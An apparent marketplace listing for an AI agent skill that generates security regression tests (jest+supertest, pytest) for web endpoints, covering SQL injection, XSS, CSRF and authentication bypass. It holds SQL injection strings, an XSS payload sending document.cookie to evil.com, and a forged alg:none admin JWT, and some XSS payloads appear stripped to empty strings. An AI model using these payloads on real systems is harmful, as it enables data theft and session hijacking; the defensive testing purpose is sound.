# Security Test Generator

> Use when writing security tests for a web application, building a vulnerability regression suite, creating pentest-style automated tests, generating runnable injection/XSS/auth test code, or adding security coverage to an existing test suite.

- **Type:** Skill
- **Install:** `agentstack add skill-kalshamsi-claude-security-skills-security-test-generator`
- **Verified:** Pending review
- **Seller:** [kalshamsi](https://agentstack.voostack.com/s/kalshamsi)
- **Installs:** 0
- **Category:** [Security](https://agentstack.voostack.com/c/security)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [kalshamsi](https://github.com/kalshamsi)
- **Source:** https://github.com/kalshamsi/claude-security-skills/tree/main/skills/security-test-generator

## Install

```sh
agentstack add skill-kalshamsi-claude-security-skills-security-test-generator
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Security Test Generator

This skill generates executable security test suites targeting common web application vulnerabilities. Unlike scanning skills that report findings, this skill outputs runnable test code in jest+supertest (JavaScript/TypeScript) or pytest+requests (Python) that actively probes endpoints for SQL injection, XSS, CSRF, authentication bypass, path traversal, SSRF, and mass assignment vulnerabilities — mapping each test case to CWE and OWASP Top 10:2021 standards.

## When to Use

- When the user asks to "generate security tests" or "create a security test suite"
- When the user wants "vulnerability tests", "pentest tests", or "security regression tests"
- When the user asks to "write tests for OWASP Top 10" or "test for SQL injection"
- When the user wants automated security tests for an Express, Fastify, Koa, Flask, Django, or FastAPI application
- When a pull request adds new API endpoints and the user wants security test coverage
- When the user asks to "test my API for security issues" or "generate exploit tests"

## When NOT to Use

**DO NOT activate if the request is not about producing runnable security test code, even if the word "security" appears.** The presence of security keywords alone is not a trigger — the request must be about writing executable test cases that probe a web application or API for vulnerabilities.

- When the user wants a static analysis scan — **Decline** and recommend `bandit-sast` or `security-review`
- When the user wants a cryptographic audit — **Decline** and recommend `crypto-audit`
- When the user is asking about security concepts without wanting test code generated — **Decline** and answer the conceptual question directly without generating test files
- When the project has no web endpoints or API routes to test — **Decline** and explain that this skill targets HTTP request/response flows
- When the user wants a **CI/CD pipeline** — you **MUST** decline and recommend `devsecops-pipeline`
- When the user wants a **security scan or vulnerability report** (not test code) — you **MUST** decline and recommend `bandit-sast`, `security-review`, or the appropriate scanning skill

## Prerequisites

### Tool Installed (Preferred)

No external tool required. This skill generates test code using code analysis only.

All test generation is performed through code inspection and template synthesis — no CLI tool needs to be installed, configured, or invoked. The generated tests use standard testing frameworks (jest+supertest or pytest+requests) that the user installs in their own project.

### Tool Not Installed (Fallback)

This skill is always available as a pure code-generation skill. There is no fallback mode because there is no external tool dependency. The skill analyzes code and produces runnable test files directly.

## Framework Detection

Before generating tests, detect the project language and framework:

1. **JavaScript/TypeScript (jest + supertest)**
   - Detect: `package.json` exists AND contains `express`, `fastify`, `koa`, or `hapi` in dependencies or devDependencies
   - Test runner: jest with supertest
   - Output: `__tests__/security/.security.test.js` or `.test.ts`

2. **Python (pytest + requests)**
   - Detect: `setup.py`, `pyproject.toml`, or `requirements.txt` exists AND contains `flask`, `django`, `fastapi`, or `starlette`
   - Test runner: pytest with requests
   - Output: `tests/security/test__security.py`

3. **Framework-agnostic (bash + curl)**
   - Detect: No recognized framework found
   - Output: `tests/security/security_tests.sh` — a bash script using curl with malicious payloads
   - Each test: send curl request, check HTTP status code, grep response for injected content

## Test Anatomy

Every generated security test follows this structure:

1. **Descriptive test name** — includes the vulnerability type and CWE ID (e.g., `"should reject SQL injection in search parameter (CWE-89)"`)
2. **Arrange** — set up the malicious payload
3. **Act** — send the request to the target endpoint with the payload
4. **Assert** — verify the application rejects the payload:
   - Response status code should be 400, 403, or 422 (NOT 200 or 302)
   - Response body must NOT contain the injected content (no reflected script tags, no SQL error messages, no file contents)
5. **Comment** — link to the relevant CWE and OWASP category

### Jest + Supertest Template Structure

```javascript
const request = require('supertest');
const app = require('../app'); // Adjust path to your Express app

describe('Security Tests - /api/users', () => {
  afterAll(async () => {
    // Close server/database connections if needed
  });

  describe('SQL Injection (CWE-89)', () => {
    const payloads = [
      "' OR '1'='1",
      "'; DROP TABLE users; --",
      "' UNION SELECT null, username, password FROM users --",
    ];

    payloads.forEach((payload) => {
      it(`should reject SQL injection payload: ${payload} (CWE-89)`, async () => {
        // Arrange
        const maliciousInput = payload;

        // Act
        const response = await request(app)
          .get('/api/users')
          .query({ search: maliciousInput });

        // Assert — app must reject or sanitize, not return 200 with injected data
        expect(response.status).not.toBe(200);
        expect(response.text).not.toContain('DROP TABLE');
        // CWE-89: Improper Neutralization of Special Elements in SQL
        // OWASP A03:2021 - Injection
      });
    });
  });
});
```

### Pytest Template Structure

```python
import pytest
import requests

BASE_URL = "http://localhost:5000"  # Adjust to your Flask/FastAPI app

@pytest.mark.security
class TestSQLInjection:
    """SQL Injection tests — CWE-89, OWASP A03:2021"""

    payloads = [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT null, username, password FROM users --",
    ]

    @pytest.mark.parametrize("payload", payloads)
    def test_search_rejects_sql_injection(self, payload):
        """CWE-89: SQL Injection in search parameter — OWASP A03:2021"""
        # Arrange
        params = {"q": payload}

        # Act
        response = requests.get(f"{BASE_URL}/api/search", params=params)

        # Assert — app must reject or sanitize
        assert response.status_code != 200, (
            f"Endpoint returned 200 for SQL injection payload: {payload}"
        )
        assert "DROP TABLE" not in response.text
```

## Vulnerability Checks

### Check 1: SQL Injection (CWE-89)

**CWE-89** (Improper Neutralization of Special Elements used in an SQL Command) | **A03:2021** - Injection | Severity: **Critical**

**WHY:** SQL injection allows attackers to read, modify, or delete arbitrary database data, bypass authentication, and in some cases execute operating system commands. It remains one of the most exploited vulnerability classes — a single unparameterized query can compromise an entire database.

**DETECT:** Scan for string concatenation or interpolation inside SQL query strings:
- JavaScript/TypeScript: `db.query("SELECT ... " + variable)`, template literals in query strings, `.prepare()` or `.execute()` with string interpolation
- Python: `cursor.execute(f"SELECT ... {variable}")`, `cursor.execute("SELECT ... " + variable)`, `cursor.execute("SELECT ... %s" % variable)`

**Malicious Payloads:**

```text
' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT null, username, password FROM users --
1; WAITFOR DELAY '0:0:5' --
' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users)) --
```

**Generated Test — Jest + Supertest:**

```javascript
describe('SQL Injection (CWE-89)', () => {
  const sqlPayloads = [
    "' OR '1'='1",
    "'; DROP TABLE users; --",
    "' UNION SELECT null, username, password FROM users --",
  ];

  sqlPayloads.forEach((payload) => {
    it(`should reject SQL injection in search: ${payload} (CWE-89)`, async () => {
      const response = await request(app)
        .get('/api/users')
        .query({ search: payload });

      expect(response.status).not.toBe(200);
      expect(response.text).not.toMatch(/syntax error|SQL|mysql|sqlite/i);
      // CWE-89 | OWASP A03:2021 - Injection
    });
  });
});
```

**Generated Test — Pytest:**

```python
@pytest.mark.security
@pytest.mark.parametrize("payload", [
    "' OR '1'='1",
    "'; DROP TABLE users; --",
    "' UNION SELECT null, username, password FROM users --",
])
def test_sql_injection_search(payload):
    """CWE-89: SQL Injection via search parameter — OWASP A03:2021"""
    response = requests.get(f"{BASE_URL}/api/search", params={"q": payload})
    assert response.status_code != 200, f"SQLi payload accepted: {payload}"
    assert "syntax error" not in response.text.lower()
    assert "sql" not in response.text.lower()
```

---

### Check 2: Cross-Site Scripting — XSS (CWE-79)

**CWE-79** (Improper Neutralization of Input During Web Page Generation) | **A03:2021** - Injection | Severity: **High**

**WHY:** XSS allows attackers to inject client-side scripts into web pages viewed by other users, enabling session hijacking, credential theft, defacement, and phishing. Reflected XSS exploits occur when user input is echoed back in HTML responses without escaping.

**DETECT:** Scan for user input directly concatenated or interpolated into HTML response strings:
- JavaScript/TypeScript: `res.send("" + req.query.name)`, template literals with `${req.body.field}` in HTML strings, `innerHTML` assignments
- Python: `return f"{request.args.get('name')}"`, `make_response()` with unescaped input, Jinja2 `|safe` filter on user input

**Malicious Payloads:**

```text
alert(1)

">document.location='http://evil.com/steal?c='+document.cookie

javascript:alert(1)
```

**Generated Test — Jest + Supertest:**

```javascript
describe('Cross-Site Scripting (CWE-79)', () => {
  const xssPayloads = [
    'alert(1)',
    '',
    '">document.location="http://evil.com"',
  ];

  xssPayloads.forEach((payload) => {
    it(`should reject XSS payload: ${payload} (CWE-79)`, async () => {
      const response = await request(app)
        .get('/api/profile')
        .query({ name: payload });

      expect(response.text).not.toContain('');
      expect(response.text).not.toContain('onerror=');
      // CWE-79 | OWASP A03:2021 - Injection
    });
  });
});
```

**Generated Test — Pytest:**

```python
@pytest.mark.security
@pytest.mark.parametrize("payload", [
    "alert(1)",
    "",
    '">document.location="http://evil.com"',
])
def test_xss_profile(payload):
    """CWE-79: Reflected XSS in profile endpoint — OWASP A03:2021"""
    response = requests.get(f"{BASE_URL}/api/profile", params={"name": payload})
    assert "" not in response.text
    assert "onerror=" not in response.text
```

---

### Check 3: Cross-Site Request Forgery — CSRF (CWE-352)

**CWE-352** (Cross-Site Request Forgery) | **A01:2021** - Broken Access Control | Severity: **High**

**WHY:** CSRF attacks trick authenticated users into submitting unintended requests. An attacker crafts a malicious page that automatically submits a form or XHR to the vulnerable application, inheriting the victim's session cookies. This can trigger fund transfers, password changes, or privilege escalation without the user's knowledge.

**DETECT:** Scan for state-changing endpoints (POST, PUT, DELETE) that do not check for a CSRF token:
- JavaScript/TypeScript: `app.post('/path', handler)` where handler does not check `req.headers['x-csrf-token']` or use a CSRF middleware (e.g., `csurf`)
- Python: `@app.route('/path', methods=['POST'])` without `@csrf.exempt` being intentional or without CSRF middleware (e.g., `flask_wtf.csrf`)

**Malicious Payloads:**

```text
POST request with no CSRF token header
POST request with empty X-CSRF-Token header
POST request with forged/invalid CSRF token
POST request from cross-origin (Origin: http://evil.com)
```

**Generated Test — Jest + Supertest:**

```javascript
describe('CSRF Protection (CWE-352)', () => {
  it('should reject POST without CSRF token (CWE-352)', async () => {
    const response = await request(app)
      .post('/api/transfer')
      .send({ from: 'user1', to: 'attacker', amount: 1000 });

    expect(response.status).not.toBe(200);
    expect(response.status).not.toBe(302);
    // CWE-352 | OWASP A01:2021 - Broken Access Control
  });

  it('should reject POST with invalid CSRF token (CWE-352)', async () => {
    const response = await request(app)
      .post('/api/transfer')
      .set('X-CSRF-Token', 'invalid-token-value')
      .send({ from: 'user1', to: 'attacker', amount: 1000 });

    expect(response.status).not.toBe(200);
    // CWE-352 | OWASP A01:2021 - Broken Access Control
  });

  it('should reject cross-origin POST (CWE-352)', async () => {
    const response = await request(app)
      .post('/api/transfer')
      .set('Origin', 'http://evil.com')
      .send({ from: 'user1', to: 'attacker', amount: 1000 });

    expect(response.status).not.toBe(200);
    // CWE-352 | OWASP A01:2021 - Broken Access Control
  });
});
```

**Generated Test — Pytest:**

```python
@pytest.mark.security
class TestCSRF:
    """CSRF protection tests — CWE-352, OWASP A01:2021"""

    def test_post_without_csrf_token(self):
        """CWE-352: POST without CSRF token should be rejected"""
        response = requests.post(
            f"{BASE_URL}/api/transfer",
            json={"from": "user1", "to": "attacker", "amount": 1000},
        )
        assert response.status_code != 200
        assert response.status_code != 302

    def test_post_with_invalid_csrf_token(self):
        """CWE-352: POST with invalid CSRF token should be rejected"""
        response = requests.post(
            f"{BASE_URL}/api/transfer",
            json={"from": "user1", "to": "attacker", "amount": 1000},
            headers={"X-CSRF-Token": "invalid-token-value"},
        )
        assert response.status_code != 200

    def test_post_from_cross_origin(self):
        """CWE-352: Cross-origin POST should be rejected"""
        response = requests.post(
            f"{BASE_URL}/api/transfer",
            json={"from": "user1", "to": "attacker", "amount": 1000},
            headers={"Origin": "http://evil.com"},
        )
        assert response.status_code != 200
```

---

### Check 4: Authentication Bypass (CWE-287)

**CWE-287** (Improper Authentication) | **A07:2021** - Identification and Authentication Failures | Severity: **Critical**

**WHY:** Endpoints that skip authentication middleware allow any unauthenticated user to access sensitive operations. Attackers discover these unprotected endpoints through forced browsing or API enumeration, gaining access to admin panels, configuration endpoints, or user data without credentials.

**DETECT:** Scan for route handlers on sensitive paths that lack authentication middleware:
- JavaScript/TypeScript: `app.post('/api/admin/*', handler)` or `app.get('/api/users', handler)` where handler is directly defined without an auth middleware parameter (e.g., `app.post('/admin/config', (req, res) => ...)` vs `app.post('/admin/config', authMiddleware, (req, res) => ...)`)
- Python: `@app.route('/admin/*')` without `@login_required` or session/token checks in the handler body

**Malicious Payloads:**

```text
Request to admin endpoint with no Authorization header
Request with empty Bearer token
Request with malformed JWT: eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4ifQ.
Request to sensitive endpoint as unauthenticated user
```

**Generated Test — Jest + Supertest:**

```javascript
describe('Authentication Bypass (CWE-287)', () => {
  it('should require authentication on admin endpoints (CWE-287)', async () => {
    const response = await request(app)
      .post('/api/admin/config')
      .send({ setting: 'debug', value: true });

    expect(response.status).toBe(401);
    // CWE-287 | OWASP A07:2021 - Identification and Authentication Failures
  });

  it('should reject empty Bearer token (CWE-287)', async () => {
    const response = await request(app)

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [kalshamsi](https://github.com/kalshamsi)
- **Source:** [kalshamsi/claude-security-skills](https://github.com/kalshamsi/claude-security-skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** yes
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: flagged — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-kalshamsi-claude-security-skills-security-test-generator
- Seller: https://agentstack.voostack.com/s/kalshamsi
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.
